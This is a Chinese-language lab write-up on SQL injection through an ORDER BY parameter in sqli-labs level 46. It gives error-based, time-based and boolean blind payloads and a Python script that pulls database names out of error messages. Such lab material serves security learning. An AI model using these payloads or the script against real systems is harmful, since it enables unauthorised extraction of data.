关于order by的sql注入实验

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入，我们可以利用报错注入，延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

python 复制代码

import requests
import re

# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"


def extract_database_name():
    database_names = []
    index = 0
    while True:
        # 构造注入Payload
        payload = {
            "sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"
        }
        try:
            # 发送GET请求
            response = requests.get(target_url, params=payload, timeout=10)
            response.raise_for_status()

            # 正则匹配错误信息中的数据库名
            error_pattern = r"XPATH syntax error: '~([^']+)"
            match = re.search(error_pattern, response.text)

            if match:
                db_name = match.group(1)
                database_names.append(db_name)
                print(f"成功提取数据库名: {db_name}")
                index += 1
            else:
                if index == 0:
                    print("找到数据库名，可能漏洞不存在或错误信息被隐藏")
                else:
                    print("已提取所有数据库名")
                break

        except requests.exceptions.Timeout:
            print(f"[-] 请求超时，索引为 {index}，继续尝试...")
        except requests.exceptions.HTTPError as http_err:
            print(f"[-] HTTP请求错误，索引为 {index}: {http_err}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求失败，索引为 {index}: {e}")

    return database_names


if __name__ == "__main__":
    all_database_names = extract_database_name()

结果

同理，修改sql注入语句，即可爆出所有的数据信息

2.盲注

1.时间盲注

错误按照username执行排序，否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称

python 复制代码

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

python 复制代码

?sort=if((substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i'),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

python 复制代码

?sort=if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

python 复制代码

?sort=if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U'),(select 1 from (select sleep(2)) as b),username)

根据上述sql语句可以获得数据库的信息

2.布尔盲注

如果正确按照username排序，不正确按照password排序

python 复制代码

?sort=if((substr((select user()),1,1)='r'),username,password)